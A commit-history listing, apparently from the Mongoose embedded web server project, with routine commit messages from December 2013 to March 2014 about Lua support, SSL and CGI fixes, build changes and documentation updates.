Compare commits

...
499 Commits
Author SHA1 Message Date
Sergey Lyubka 30a7965135 added lsp link 2014-03-10 11:21:52 +00:00
Sergey Lyubka a8a017a048 docs updated 2014-03-10 09:23:06 +00:00
Sergey Lyubka eac8ffabc4 docs updated 2014-03-10 09:19:01 +00:00
Sergey Lyubka a7a17711ec Resetting endpoint_type in open_local_endpoint() 2014-03-10 08:35:41 +00:00
Sergey Lyubka 18e28ef879 Added lua includes 2014-03-09 20:22:51 +00:00
Sergey Lyubka ce7515fca9 Merge pull request #349 from jhorneman/master
Exposing Lua support functions
2014-03-09 20:18:49 +00:00
Jurie Horneman d5a78fb664 Fixed bug. 2014-03-09 21:12:34 +01:00
Jurie Horneman 1b3a1b74ac Exposed Lua support functions. 2014-03-09 21:11:06 +01:00
Sergey Lyubka 8dd76e6ef4 Using ns_start_thread() 2014-03-09 19:50:34 +00:00
Sergey Lyubka 976b5f37c1 Added Lua callback 2014-03-09 19:30:41 +00:00
Sergey Lyubka 31489ab7b1 Lua fixes 2014-03-09 19:26:58 +00:00
Sergey Lyubka 1eb59940a4 Re-init rewrites var in convert_uri_to_file_name() 2014-03-09 13:27:39 +00:00
Sergey Lyubka 576d769b56 Corrected links in tutorials 2014-03-09 13:13:25 +00:00
Sergey Lyubka afaba7ee17 Lua calls, birth_time fixed 2014-03-09 13:13:13 +00:00
Sergey Lyubka 40f257ef2b lua build instructions fixed 2014-03-09 13:12:49 +00:00
Sergey Lyubka 5840dc8153 Links updated 2014-03-07 17:08:23 +00:00
Sergey Lyubka 5ed3dafb56 Added warning about PHP 5.5 2014-03-07 14:46:24 +00:00
Sergey Lyubka b99bf306ec fixed image links 2014-03-07 14:40:34 +00:00
Sergey Lyubka 89fae72aa7 added 2014-03-07 14:24:37 +00:00
Sergey Lyubka ab147e8f19 Added MONGOOSE_NO_SSI to MONGOOSE_NO_FILESYSTEM 2014-03-06 13:37:23 +00:00
Sergey Lyubka 81a78f9c8b Added query string to access log 2014-03-05 11:22:23 +00:00
Sergey Lyubka 370aeefdde Added error pages and vhosts to readme 2014-03-05 11:19:18 +00:00
Sergey Lyubka c5407a75f4 #define EV_HANDLER NULL in server.c 2014-03-05 10:12:43 +00:00
Sergey Lyubka 7217aa22f1 Embedded guide 2014-03-05 02:53:19 +00:00
Sergey Lyubka 69bd5f7aa2 SSL_accept logic fix 2014-03-05 02:19:05 +00:00
Sergey Lyubka 41b3c1b23e warning squashed in convert_uri_to_file_name() 2014-03-05 01:59:58 +00:00
Sergey Lyubka f639409533 warning squashed in convert_uri_to_file_name() 2014-03-05 01:59:32 +00:00
Sergey Lyubka 67c44799c8 SSL_accept() error handling fix 2014-03-05 01:57:09 +00:00
Sergey Lyubka 4646e2ad55 Added mjpg example 2014-03-04 20:23:37 +00:00
Sergey Lyubka b77532ea3f Added mjpg example 2014-03-04 20:22:46 +00:00
Sergey Lyubka ed8168e8a1 Added virtual hosts support via url_rewrites 2014-03-04 16:15:02 +00:00
Sergey Lyubka 39e2d2ad55 Appending query_string to the URI when redirecting on HTTP error 2014-03-04 15:01:05 +00:00
Sergey Lyubka 27c6656398 SSL_accept fixes 2014-03-04 13:23:40 +00:00
Sergey Lyubka ffe83051fe build fixed 2014-03-04 13:15:56 +00:00
Sergey Lyubka 93cd77ffad Changed links 2014-03-03 21:18:57 +00:00
Sergey Lyubka 279c06c64c Cleaned up cruft from mongoose.h 2014-03-03 10:56:17 +00:00
Sergey Lyubka 570c8213b6 Cleaned unit test 2014-03-03 10:54:35 +00:00
Sergey Lyubka f521999ea6 Calling EP_CLIENT on close 2014-03-03 10:27:56 +00:00
Sergey Lyubka e41df3cf9c MG_REQ_BEGIN -> MG_REQUEST, killed MG_REQ_END, add MG_REPLY. Restored server test 2014-03-03 10:26:27 +00:00
Sergey Lyubka 65f484291f got rid of multiline comment 2014-03-03 09:45:00 +00:00
Sergey Lyubka 77db89961b mg_stat() fix for paths like X:\ 2014-03-03 01:00:38 +00:00
Sergey Lyubka ad50310bb6 Added index.shtml to index files 2014-03-02 19:49:15 +00:00
Sergey Lyubka 66ec3d1f1e Added defines for popen and pclose, for SSI under Win32 2014-03-02 18:50:02 +00:00
Sergey Lyubka a9da86d05c Mentioned SSI 2014-03-02 18:28:40 +00:00
Sergey Lyubka 5f25a88821 Restored SSI functionality 2014-03-02 18:27:51 +00:00
Sergey Lyubka fd7dc33645 unbroke unit test 2014-03-02 17:20:24 +00:00
Sergey Lyubka 9c22771a43 Merge pull request #345 from nielsegberts/master
Also clean up multi_threaded and websocket_html.c on make clean
2014-03-02 15:48:25 +00:00
Niels Egberts 11640cc3c6 Also clean up multi_threaded and websocket_html.c on make clean 2014-03-02 14:55:34 +00:00
Sergey Lyubka 2264520a2f Example changed to evented API 2014-03-02 13:05:00 +00:00
Sergey Lyubka 2f0b411ddd Added -pthread flag to unix compilation example 2014-03-02 13:00:44 +00:00
Sergey Lyubka e0aceb4f3a Fixed windows build for examples 2014-03-02 12:23:53 +00:00
Sergey Lyubka ea9a60a59a Updated examples to conform to the evented API 2014-03-02 12:16:09 +00:00
Sergey Lyubka 458320cffb Fixed #343 in conn2() for Lua 2014-03-02 10:12:12 +00:00
Sergey Lyubka e0214af422 Using private ns_avprintf() in mg_printf_data() 2014-03-02 10:07:30 +00:00
Sergey Lyubka df5e997ea7 ns_server_poll() waking up by ns_server_wakeup() 2014-03-01 01:55:40 +00:00
Sergey Lyubka 0a3cb63c73 Added mg_wakeup_server() 2014-03-01 01:47:01 +00:00
Sergey Lyubka 37f7f3fb12 Merge pull request #339 from nenioscio/master
Fix issue #338
2014-03-01 01:19:31 +00:00
Sergey Lyubka 2ac970fa16 Moving to event-based API, temporary breaking tests 2014-03-01 01:17:39 +00:00
Sergey Lyubka de35a353d4 pphp -> php 2014-02-27 22:02:18 +00:00
Klaus Wagner dbbda02f70 Fix issue #338 2014-02-27 22:12:46 +01:00
Sergey Lyubka 725c30446c more docs 2014-02-25 20:39:34 +00:00
Sergey Lyubka 60473ae41a more docs 2014-02-25 20:39:00 +00:00
Sergey Lyubka 951d20f904 Added coniditional to use net_skeleton separately 2014-02-25 18:52:23 +00:00
Sergey Lyubka 85a6abd58b Clearing flags in close_local_endpoint() 2014-02-25 12:02:45 +00:00
Sergey Lyubka 2fbe09ad7c Restored jni build dir for Android 2014-02-25 08:12:42 +00:00
Sergey Lyubka 23325efab2 Added time.h 2014-02-25 08:10:19 +00:00
Sergey Lyubka 107902bae4 add_to_set(): fix around non-negative SOCKET on Windows 2014-02-24 08:22:40 +00:00
Sergey Lyubka 9bbf4c8384 Fixed problem with mg_printf_data() 2014-02-22 16:11:47 +00:00
Sergey Lyubka c39a712540 Win32 build fix 2014-02-21 14:13:06 +00:00
Sergey Lyubka e9f6111ba1 re-added signal.h 2014-02-20 17:47:07 +00:00
Sergey Lyubka ba267a32fd squashed warning in read_from_socket 2014-02-20 17:44:47 +00:00
Sergey Lyubka f64ebbe0b1 Guarded on_cgi_data() call by ifdef, thanks to Pavel Pimenov 2014-02-20 12:33:46 +00:00
Sergey Lyubka 8865dd5e84 Moved unit_test.c to examples 2014-02-20 12:13:59 +00:00
Sergey Lyubka ce57f47de0 Added missing signal.h 2014-02-20 09:49:42 +00:00
Sergey Lyubka 48be2dbc2a Added conditional for handling idle websocket conns 2014-02-20 07:32:33 +00:00
Sergey Lyubka 8905522a94 Setting last_io_time in ns_add_sock() 2014-02-20 06:26:44 +00:00
Sergey Lyubka eea1680cf9 open_cgi_endpoint() strrchr fix 2014-02-19 16:44:01 +00:00
Sergey Lyubka d5004cb7eb PF_INET -> AF_INET, unbreaks FreeBSD 2014-02-19 16:39:30 +00:00
Sergey Lyubka 1d1a05bf39 Embedded net_skeleton 2014-02-19 16:38:53 +00:00
Sergey Lyubka 2009069037 merge 2014-02-19 16:36:27 +00:00
Sergey Lyubka 8f7703c2a9 moved to net_skeleton 2014-02-19 16:34:51 +00:00
Sergey Lyubka 8e87c4f013 Merge pull request #329 from abimaelmartell/fix/freebsd-compilation
fix compilation under FreeBSD
2014-02-14 23:46:07 +00:00
Abimael Martell 639a6dc2a8 fix compilation under FreeBSD 2014-02-14 13:21:14 -08:00
Sergey Lyubka cead9a04ca Typo fixed 2014-02-11 15:21:54 +00:00
Sergey Lyubka e528093027 Formatted example 2014-02-11 15:20:19 +00:00
Sergey Lyubka c432b783fb Formatted example 2014-02-11 15:19:18 +00:00
Sergey Lyubka e06976836f Typo fixed 2014-02-11 15:18:20 +00:00
Sergey Lyubka c9f7407573 More comments in example 2014-02-11 15:16:55 +00:00
Sergey Lyubka a40e59dbe6 URL corrected 2014-02-11 09:56:10 +00:00
Sergey Lyubka 61ee3d36d0 Merge pull request #324 from eichin/patch-1
doc typos
2014-02-11 09:55:47 +00:00
Mark Eichin 94dbf21ffb doc typos
just saw them while reading...
2014-02-11 03:41:09 -05:00
Sergey Lyubka 998425b14b Styling changes for hexdump 2014-02-10 10:21:57 +00:00
Sergey Lyubka 6900dd733a Merge pull request #322 from pavel-pimenov/master
Fix copy-paste for MONGOOSE_HEXDUMP feature
2014-02-10 09:48:26 +00:00
Pavel Pimenov 9e4cd054c8 Fix copy-paste for MONGOOSE_HEXDUMP feature 2014-02-10 12:00:51 +04:00
Sergey Lyubka 5dc317fcb0 Added -DMONGOOSE_HEXDUMP feature 2014-02-09 20:57:11 +00:00
Sergey Lyubka fbd5d77ce8 Added note about CGI env vars 2014-02-07 20:23:37 +00:00
Sergey Lyubka 6f8751b479 chat server is going to be in its own dir 2014-02-07 13:04:02 +00:00
Sergey Lyubka 877c4dc698 websocket example responses: 15 times -> 3 times 2014-02-07 13:03:28 +00:00
Sergey Lyubka 2dfc79129a better lua build 2014-02-07 13:03:11 +00:00
Sergey Lyubka 416f4bf10f Merge pull request #321 from pavel-pimenov/master
Add #ifndef MONGOOSE_NO_FILESYSTEM
2014-02-07 07:45:20 +00:00
Pavel Pimenov f9a99530ff Add #ifndef MONGOOSE_NO_FILESYSTEM 2014-02-07 11:02:12 +04:00
Sergey Lyubka 940b65e4db Merge pull request #320 from xant/upstream
added a new handler callback to be used when the http connection is being closed
2014-02-06 21:00:17 +00:00
Andrea Guzzo b22f7d3a49 added a new handler callback to be used when the http connection is being closed
so that in case of connections closed prematurely, the user can clear resources
eventually bound to the connection using the 'connection_param' member of the
mg_connection structure
2014-02-06 11:22:13 +01:00
Sergey Lyubka eaa0e26a85 Starting to rebuild chat example on Lua 2014-02-06 10:18:30 +00:00
Sergey Lyubka a3a63f7e56 Using mg_connection::callback_param for mg_iterate_over_connection() 2014-02-06 10:00:20 +00:00
Sergey Lyubka c9036f3ac0 Added workaround for non-compliant runtimes in alloc_vprintf() 2014-02-05 12:33:36 +00:00
Sergey Lyubka 60858d7fe5 NO_WEBSOCKET -> MONGOOSE_NO_WEBSOCKET 2014-02-04 19:57:00 +00:00
Sergey Lyubka 1c914bde1d Merge pull request #316 from To1ne/master
use `mg_set_request_handler`
2014-02-04 11:55:52 -08:00
Toon Claes a487332aa0 use mg_set_request_handler 2014-02-04 20:48:38 +01:00
Sergey Lyubka 3987d4d560 Merge branch 'master' of ssh://github.com/valenok/mongoose 2014-02-04 18:13:10 +00:00
Sergey Lyubka 8d3181e0bf examples/html -> examples/chat_html_root 2014-02-04 18:13:02 +00:00
Sergey Lyubka 0f1a59aeb4 Increased env buf size 4096 -> 8192. Passing TMPDIR to CGI. 2014-02-04 18:11:56 +00:00
Sergey Lyubka 2cdf259940 Merge pull request #315 from To1ne/patch-1
Correct return values: PROCESSED or CALL_AGAIN
2014-02-04 06:51:41 -08:00
Toon Claes 0187fe943a Correct return values: PROCESSED or CALL_AGAIN 2014-02-04 15:24:32 +01:00
Sergey Lyubka a34d1ec00a Better handling of MONGOOSE_NO_SOCKETPAIR 2014-02-04 14:04:54 +00:00
Sergey Lyubka e70d98b7b0 Added fixes for eCos 2014-02-04 09:59:53 +00:00
Sergey Lyubka bea012a3c1 Removed redundant addenv call 2014-02-04 08:06:49 +00:00
Sergey Lyubka eb2d470f65 Merge branch 'master' of ssh://github.com/valenok/mongoose 2014-02-03 17:54:46 +00:00
Sergey Lyubka 652c352394 Passing SERVER_NAME, TMP and TEMP env vars to CGI. 2014-02-03 17:54:31 +00:00
Sergey Lyubka f1b37b3101 Merge pull request #313 from xant/upstream
bugfix: set the correct status if we still have pending data
2014-02-03 04:52:10 -08:00
Sergey Lyubka 81b9876af8 5.2 -> 5.3 2014-02-01 16:53:09 +00:00
Sergey Lyubka 7010addadb NO_AUTH -> MONGOOSE_NO_AUTH 2014-02-01 15:17:13 +00:00
xant 9e118c8a31 bugfix: set the correct status if we still have pending data 2014-01-31 19:09:12 +01:00
Sergey Lyubka 2fc654ac35 page.lp -> dirscan.lp 2014-01-30 17:49:37 +00:00
Sergey Lyubka 45861c7890 Disabling options if functionality is not enabled 2014-01-30 14:54:02 +00:00
Sergey Lyubka 1957879e10 Casting to int in mg_sprintf() call in handle_cgi 2014-01-29 12:34:51 +00:00
Sergey Lyubka ddbe690698 CGI directory logic fixed 2014-01-29 11:42:14 +00:00
Sergey Lyubka 9ba1596c46 Closing connection after mg_send_digest_auth() 2014-01-29 01:24:21 +00:00
Sergey Lyubka de509ae952 Fix around pid_t for mingw, thanks to Jay 2014-01-28 20:09:12 +00:00
Sergey Lyubka 77817cd019 Squashed the warnings 2014-01-28 13:42:26 +00:00
Sergey Lyubka 7083bea56b mg_parse_header(): allowing no spaces for comma-separated list 2014-01-28 13:01:28 +00:00
Sergey Lyubka 3dffd7604a Removed warnings 2014-01-28 12:55:20 +00:00
Sergey Lyubka 5a67af0c73 Using 1 ms in mg_poll_server 2014-01-28 12:51:27 +00:00
Sergey Lyubka 14526a2109 mg_add_uri_handler -> mg_set_request_handler() 2014-01-28 12:42:13 +00:00
Sergey Lyubka a6cfbd2536 docs URL changed 2014-01-28 10:48:27 +00:00
Sergey Lyubka 0d28f99275 wrapped pid_t and S_ISDIR definitions into ifndef for mingw build 2014-01-27 11:12:43 +00:00
Sergey Lyubka a281e99661 calling auth handler wrapped in MONGOOSE_NO_AUTH 2014-01-27 11:10:46 +00:00
Sergey Lyubka 170df7b676 local and remote port made unsigned short 2014-01-27 11:08:32 +00:00
Sergey Lyubka 3fa5c69f98 Fixed handle_delete() stat call 2014-01-27 11:06:05 +00:00
Sergey Lyubka e31f3058fa Added test for rewrites 2014-01-27 11:03:44 +00:00
Sergey Lyubka 83a9a726d3 Checking path existence 2014-01-26 11:24:24 +00:00
Sergey Lyubka 8ae0400b0d Added ability to set "0" as listening port. Exported local_ip and local_port to the client. 2014-01-25 13:50:57 +00:00
Sergey Lyubka 037fdbcccb Ignoring chdir() return value. Resetting mg_conn in close_local_endpoint() 2014-01-25 09:45:47 +00:00
Sergey Lyubka 5d2ac4e0a6 Merge branch 'master' of ssh://github.com/valenok/mongoose 2014-01-24 20:50:21 +00:00
Sergey Lyubka f977757a9d Added mg_set_auth_handler() 2014-01-24 20:49:57 +00:00
Sergey Lyubka 1db13aeed5 Merge pull request #304 from xant/master
allow to define a default mime-type
2014-01-24 09:51:51 -08:00
Andrea Guzzo 956788d7de changed mg_get_mime_type to expect the default type as argument
instead of using a configuration option
2014-01-24 15:56:21 +01:00
Andrea Guzzo 45f6612096 allow to define a default mime-type to use when lookup in the internal table fails
instead of always returning 'text/plain'

To allow setting a different default mime-type the mg_get_mime_type() api has been
extended to require an mg_server parameter.

Note that using a static global as default mime type wouldn't have allowed us to
control it via a configuration option because there is not global initialization phase
and configuration options are provided (and specific) to each server instance.
This means that different servers can be configured to use a different default mime-type
(which is also a desired behaviour in many scenarios) when lookup fails.
2014-01-24 14:45:19 +01:00
Sergey Lyubka 2392156fd4 Not exiting on a wrong option, best effort to recover 2014-01-23 20:57:27 +00:00
Sergey Lyubka cf1811f8c3 Added build instruction for windows 2014-01-23 12:00:40 +00:00
Sergey Lyubka 93c5335d80 USE_POST_SIZE_LIMIT -> MONGOOSE_USE_POST_SIZE_LIMIT, and unit test added 2014-01-23 11:24:00 +00:00
Sergey Lyubka 192205b10b Added 2014-01-23 10:36:08 +00:00
Sergey Lyubka 0377eea9c5 Added enum for callback return codes 2014-01-22 18:25:05 +00:00
Sergey Lyubka ad89868564 Moved must_hide_file to under #ifndef MONGOOSE_NO_FILESYSTEM 2014-01-22 18:24:28 +00:00
Sergey Lyubka 976f286134 Made mg_connection::content_len int -> size_t, which is 64-bit on 64-bit systems 2014-01-20 20:57:21 +00:00
Sergey Lyubka 503a1a749d Added unit test for MONGOOSE_USE_SSL 2014-01-20 20:50:30 +00:00
Sergey Lyubka 45a4266172 more examples added 2014-01-20 11:21:35 +00:00
Sergey Lyubka 2ea17e8c6d Adjusted docs and makefile to use correct preproc flags 2014-01-20 11:17:09 +00:00
Sergey Lyubka 67b7d79710 Removed comment about MONGOOSE_USE_STACK_SIZE 2014-01-20 11:10:30 +00:00
Sergey Lyubka 2e35e25935 ENABLE_DBG -> MONGOOSE_ENABLE_DEBUG, USE_STACK_SIZE -> MONGOOSE_USE_STACK_SIZE 2014-01-20 11:04:12 +00:00
Sergey Lyubka d86d409d3c Preprocessor definitions prefixed by MONGOOSE_ 2014-01-20 10:54:15 +00:00
Sergey Lyubka 1109d3aa3c Guarded #define EINPROGRESS 2014-01-20 09:02:57 +00:00
Sergey Lyubka 8208d9e250 Fixed -DUSE_SSL build 2014-01-20 09:01:16 +00:00
Sergey Lyubka fdd086b11c moved discard_leading_iobuf_bytes() out from conditional 2014-01-20 08:55:34 +00:00
Sergey Lyubka 5825e3ea74 Adding use_ssl to mg_connect() 2014-01-20 08:55:03 +00:00
Sergey Lyubka 061ba99124 Using vnotify() for die() 2014-01-20 08:54:06 +00:00
Sergey Lyubka ead098f726 Setting server_name 2014-01-19 17:01:43 +00:00
Sergey Lyubka 7a129c17ba Added http client with unit tests 2014-01-19 16:32:43 +00:00
Sergey Lyubka 400084ea8a read_from_client -> read_from_socket 2014-01-17 16:58:19 +00:00
Sergey Lyubka 82ad9a073a Calling long running connections regardless of select() status 2014-01-17 16:37:35 +00:00
Sergey Lyubka 22aea8acac Better comment for websocket example 2014-01-17 16:37:05 +00:00
Sergey Lyubka 40e5c744da Calling long-running URI handlers on each poll iteration 2014-01-17 15:49:16 +00:00
Sergey Lyubka e648681f1d Moved mg_connect() 2014-01-17 15:42:35 +00:00
Sergey Lyubka 02f19fc05a Using mg_handler_t for iterate_over_connections() 2014-01-17 11:45:57 +00:00
Sergey Lyubka 7690f9e34b Fixed websocket example, and websocket callback calling logic. 2014-01-17 10:17:15 +00:00
Sergey Lyubka 65c1278975 win32 build of server.c fixed 2014-01-16 14:40:26 +00:00
Sergey Lyubka 05e1135940 Added stand-alone console executable 2014-01-16 13:53:18 +00:00
Sergey Lyubka 7b6e8fb93c Moved idle_timeout_ms into compile-time option 2014-01-16 13:23:23 +00:00
Sergey Lyubka 9f1679e900 Merge branch 'master' of ssh://github.com/valenok/mongoose 2014-01-15 18:05:43 +00:00
Sergey Lyubka c0af018e20 removed build dir 2014-01-15 18:02:55 +00:00
Sergey Lyubka d553ae992a Unit test moved to top 2014-01-15 17:55:39 +00:00
Sergey Lyubka 89ef8f2f30 Removed method checks for CGI 2014-01-15 11:46:05 +00:00
Sergey Lyubka 9115a99f47 Fixed scanf format in parse_port_string() 2014-01-15 11:06:37 +00:00
Sergey Lyubka bbc65c7987 put_deleve_auth_file -> dav_auth_file. added placeholders for user 2014-01-15 07:57:59 +00:00
Sergey Lyubka bac0f75dd6 int sock -> sock_t sock 2014-01-15 07:10:09 +00:00
Sergey Lyubka 6440c358c1 C++ friendliness fix 2014-01-14 23:20:23 +00:00
Sergey Lyubka 6f84c8bbfb Using unicode API for service creation 2014-01-14 21:05:35 +00:00
Sergey Lyubka 0adbfcba96 Moved send_options out of NO_DAV conditional 2014-01-14 19:28:29 +00:00
Sergey Lyubka 136c3e8200 Eat prior POST data in close_local_endpoint() 2014-01-14 13:57:55 +00:00
Sergey Lyubka 7d699ea73c Added URI handler return value 2014-01-14 13:27:00 +00:00
Sergey Lyubka fc37b08139 URI handler status code drives streaming behavior 2014-01-14 13:16:58 +00:00
Sergey Lyubka 3aaf47d4e4 Return 1 from the URI handler 2014-01-14 12:50:13 +00:00
Sergey Lyubka 346179d1f1 keep-alive for all EP_USER requests 2014-01-14 00:44:27 +00:00
Sergey Lyubka 0148bc804a Added NO_THREADS wrapper 2014-01-13 21:35:45 +00:00
Sergey Lyubka 472e198d4a Fixed mg_parse_header to allow NULL strings 2014-01-13 21:31:18 +00:00
Sergey Lyubka bf6fc3262f Added test for static config opts 2014-01-13 21:08:03 +00:00
Sergey Lyubka 53311e8d6b removed ssi tests 2014-01-13 20:39:22 +00:00
Sergey Lyubka cc636197bc Added auth example 2014-01-13 17:58:14 +00:00
Sergey Lyubka 6b4f7e785d Added upload example 2014-01-13 17:01:11 +00:00
Sergey Lyubka 73ed83c5e3 Added mg_parse_multipart 2014-01-13 16:29:12 +00:00
Sergey Lyubka 56f128514e Implemented mg_set_http_error_handler() 2014-01-13 12:17:47 +00:00
Sergey Lyubka f0571f9fd6 Using mg.request_info.content 2014-01-13 10:58:14 +00:00
Sergey Lyubka a3663da90e Exposed mg_send_digest_auth_request(). Exported conn->content to Lua 2014-01-13 10:50:26 +00:00
Sergey Lyubka f74a1e1dc2 Fixed start_process on windows to use correct interpreter 2014-01-12 07:20:53 +00:00
Sergey Lyubka 74511b42f5 Using unicode winapi to load config file 2014-01-12 07:20:12 +00:00
Sergey Lyubka 04862eec85 Added wp target 2014-01-12 07:18:29 +00:00
Sergey Lyubka 4d105386ca Better handling of non-ascii chars for windows CGIs 2014-01-11 23:17:17 +00:00
Sergey Lyubka 44a35bb5bf Removed debug statement 2014-01-11 23:15:02 +00:00
Sergey Lyubka 022c9f0d47 Handling non-ascii chars in the binary 2014-01-11 21:32:05 +00:00
Sergey Lyubka e38061970e Exposed mg_authorize_digest() 2014-01-11 16:44:37 +00:00
Sergey Lyubka a4e8dc3069 Sending status 200 to CGI by default 2014-01-11 16:18:59 +00:00
Sergey Lyubka fa4179ee53 Made clean silent 2014-01-11 16:18:29 +00:00
Sergey Lyubka a8c8cfb665 fix non-initialized comparison 2014-01-11 10:09:26 +00:00
Sergey Lyubka e0b6109214 Added -DNO_FILESYSTEM 2014-01-11 09:48:27 +00:00
Sergey Lyubka d29f849602 Fixed optional build test 2014-01-11 09:48:13 +00:00
Sergey Lyubka 848c5d753e Fixed logic for get_url_to_me 2014-01-11 03:19:46 +00:00
Sergey Lyubka 4eef5b14fb Added comment to https://github.com/cesanta/mongoose/pull/287 2014-01-10 22:48:47 +00:00
Sergey Lyubka 283af71bbf Merge pull request #287 from oli-obk/fix/last_send_data_before_shutdown
mg_printf_data was ignored if mg_destroy_server was called directly afte...
2014-01-10 14:47:00 -08:00
Sergey Lyubka ff85b802c3 Using case-insensitive string comparison for connection: keep-alive 2014-01-10 22:46:03 +00:00
Sergey Lyubka e2b42e4117 Using case-insensitive string comparison for connection: keep-alive 2014-01-10 22:43:52 +00:00
Sergey Lyubka 63909b59c5 Added __cdecl to SSL decls to make sure correct linkage with OpenSSL which is cdecl 2014-01-10 22:41:36 +00:00
Sergey Lyubka 7380c65265 5.1 -> 5.2 2014-01-10 22:37:26 +00:00
Sergey Lyubka e9316a4feb CGI fixes 2014-01-10 21:59:37 +00:00
Oliver Schneider 2ac231cb7e mg_printf_data was ignored if mg_destroy_server was called directly after 2014-01-10 18:38:18 +01:00
Sergey Lyubka a741d53028 Fixed leak for server creation/destroy 2014-01-10 11:23:29 +00:00
Sergey Lyubka 9ea7b6f8ae Removed unnecessary buffer initializer 2014-01-10 11:11:26 +00:00
Sergey Lyubka 580d3da3c7 Using unicode winapi for stat(), fopen(), open() 2014-01-10 11:03:38 +00:00
Sergey Lyubka aa59dda966 wrapped read_from_cgi() into NO_CGI 2014-01-09 17:50:57 +00:00
Sergey Lyubka 47b92e4145 Added string defs for 301 and 302 codes in status_code_to_str() 2014-01-09 17:24:20 +00:00
Sergey Lyubka fa351959a0 5.0 -> 5.1 2014-01-09 14:08:50 +00:00
Sergey Lyubka 1414e2a236 Documented rewrites for HTTP errors 2014-01-09 12:47:29 +00:00
Sergey Lyubka 5fb275e146 Added URL rewrites for HTTP errors, to allow for error pages. 2014-01-09 12:36:25 +00:00
Sergey Lyubka 9390c66b48 Moved next_option() to the rest of string functions 2014-01-09 12:34:50 +00:00
Sergey Lyubka 2f69ca37d3 Better CGI error diagnostic for UNIX 2014-01-09 10:53:25 +00:00
Sergey Lyubka 4cd11de400 Ping only websocket connections 2014-01-09 10:37:17 +00:00
Sergey Lyubka 15a2639355 Added better diagnostic to send_http_error() 2014-01-09 10:35:43 +00:00
Sergey Lyubka c20f26dbb9 removed mg_fmt() 2014-01-09 09:58:19 +00:00
Sergey Lyubka cae797cf04 Merge branch 'master' of https://github.com/cesanta/mongoose 2014-01-09 09:37:35 +00:00
Sergey Lyubka 0d885add0e Fixed put_dir() 2014-01-09 09:36:58 +00:00
Sergey Lyubka 842231cc5c GetFullPathNameA -> GetFullPathName 2014-01-08 18:20:13 +00:00
Sergey Lyubka dc55a3ae40 Added #undef UNICODE in mongoose.c to force ANSI Win32 functions 2014-01-08 18:10:15 +00:00
Sergey Lyubka 4d85cc6c76 Removed -Wno-empty-translation-unit from unix CFLAGS :-) 2014-01-08 09:27:16 +00:00
Sergey Lyubka 8ac1b40c11 Added -Wno-empty-translation-unit to the unix CFLAGS 2014-01-08 09:19:56 +00:00
Sergey Lyubka 238b43af84 Squashed warnings for gcc 4.6.3 2014-01-08 09:16:36 +00:00
Sergey Lyubka 12c8e99bd5 Removed error_log_file from tests config 2014-01-07 14:57:08 +00:00
EC2 Default User 5f2f359bd6 Squashed warning under gcc 4.6.3 2014-01-07 14:53:48 +00:00
Sergey Lyubka ccf0ce4a1f Using chunked API in post.c example 2014-01-07 09:28:20 +00:00
Sergey Lyubka 134a5b7b9e Using chunked API in multi-threaded example 2014-01-07 09:24:48 +00:00
Sergey Lyubka d39daab29e Updated docs 2014-01-07 09:12:17 +00:00
Sergey Lyubka a798b1a937 Updated docs 2014-01-07 09:10:58 +00:00
Sergey Lyubka 04de3bb2f9 Updated docs 2014-01-07 09:05:34 +00:00
Sergey Lyubka 86da250e2c Using fat mongoose for php bundle 2014-01-06 14:58:21 +00:00
Sergey Lyubka 347a8c2f70 Fix source IP in logging 2014-01-06 14:53:41 +00:00
Sergey Lyubka 9624200663 SSL build 2014-01-06 13:31:46 +00:00
Sergey Lyubka 18b1e95350 LSP functionality 2014-01-06 13:08:39 +00:00
Sergey Lyubka 407877a4d5 added mongoose-lua.exe target 2014-01-06 12:40:41 +00:00
Sergey Lyubka 7541c6339a Removed error_log_file 2014-01-06 11:52:09 +00:00
Sergey Lyubka 31f1efd4f5 Removed index.shtml from the index files 2014-01-06 11:34:32 +00:00
Sergey Lyubka 2477f80a43 Wrapped run_as_user into conditional 2014-01-06 11:32:15 +00:00
Sergey Lyubka cf94fb3642 Added BIG_SOURCES 2014-01-06 11:29:36 +00:00
Sergey Lyubka 2210043b87 removed mutex calls. wrapped ssl_certificate option in a conditional 2014-01-06 11:22:11 +00:00
Sergey Lyubka 10872b3227 Inlined openssl definitions instead of including a header - preparing for ssl amalgamation 2014-01-05 23:52:43 +00:00
Sergey Lyubka cb324cfb9a test/page.mg.lua -> test/page.lp 2014-01-05 01:50:47 +00:00
Sergey Lyubka 4ee5849a04 Fixed spelling in readme 2014-01-05 00:01:31 +00:00
Sergey Lyubka fa216849e5 Resetting connection flags in close_local_endpoint() 2014-01-04 22:17:16 +00:00
Sergey Lyubka df6e35e330 dav_auth_file moved 2014-01-04 20:49:54 +00:00
Sergey Lyubka 96bb9aac36 Docs updated 2014-01-04 20:12:07 +00:00
Sergey Lyubka 7cec2fe280 Sorted options list 2014-01-04 20:11:55 +00:00
Sergey Lyubka 02937f8852 API doc synced 2014-01-04 14:28:20 +00:00
Sergey Lyubka 51f0cc2b67 Embed doc synced 2014-01-04 14:25:37 +00:00
Sergey Lyubka 253927008c Options doc synced 2014-01-04 14:20:47 +00:00
Sergey Lyubka 9778a4ccfc Options doc synced 2014-01-04 14:18:14 +00:00
Sergey Lyubka d0e2741832 Added new response creation interface 2014-01-04 11:31:55 +00:00
Sergey Lyubka 3a5e2fba88 5.0 lua example 2014-01-04 02:16:52 +00:00
Sergey Lyubka 85940c8045 Moved <netdb.h> to under unix includes 2014-01-04 02:05:18 +00:00
Sergey Lyubka a0b599b308 Removed protection from mg_write(). Refactored mg_iterate_over_connections() 2014-01-04 00:51:07 +00:00
Sergey Lyubka d43ccda9a7 Unbroke link to page.lp 2014-01-03 22:18:38 +00:00
Sergey Lyubka 675b83a3ef Let mongoose binary change CWD to document_root 2014-01-03 21:45:13 +00:00
Sergey Lyubka dfdfcc060d Merge branch 'master' of ssh://github.com/valenok/mongoose 2014-01-03 20:26:52 +00:00
Sergey Lyubka 143fb4f423 Fixed macos build 2014-01-03 20:26:41 +00:00
Sergey Lyubka b7eb12017c Update README.md 2014-01-03 03:29:42 +00:00
Sergey Lyubka bd1c6c1506 Update README.md 2014-01-03 03:29:09 +00:00
Sergey Lyubka efb7f4f05d Added frozen 2014-01-03 03:06:50 +00:00
Sergey Lyubka 5475fe661d Implemented USE_POST_SIZE_LIMIT 2013-12-31 13:57:51 +00:00
Sergey Lyubka 8f62822a33 Using mg_printf() 2013-12-31 13:57:19 +00:00
Sergey Lyubka 0aa1a9e324 Documented USE_POST_SIZE_LIMIT, USE_EXTRA_HTTP_HEADERS 2013-12-31 13:56:59 +00:00
Sergey Lyubka 7a77bb1c4a More descriptive comment in multithreaded example 2013-12-31 09:06:21 +00:00
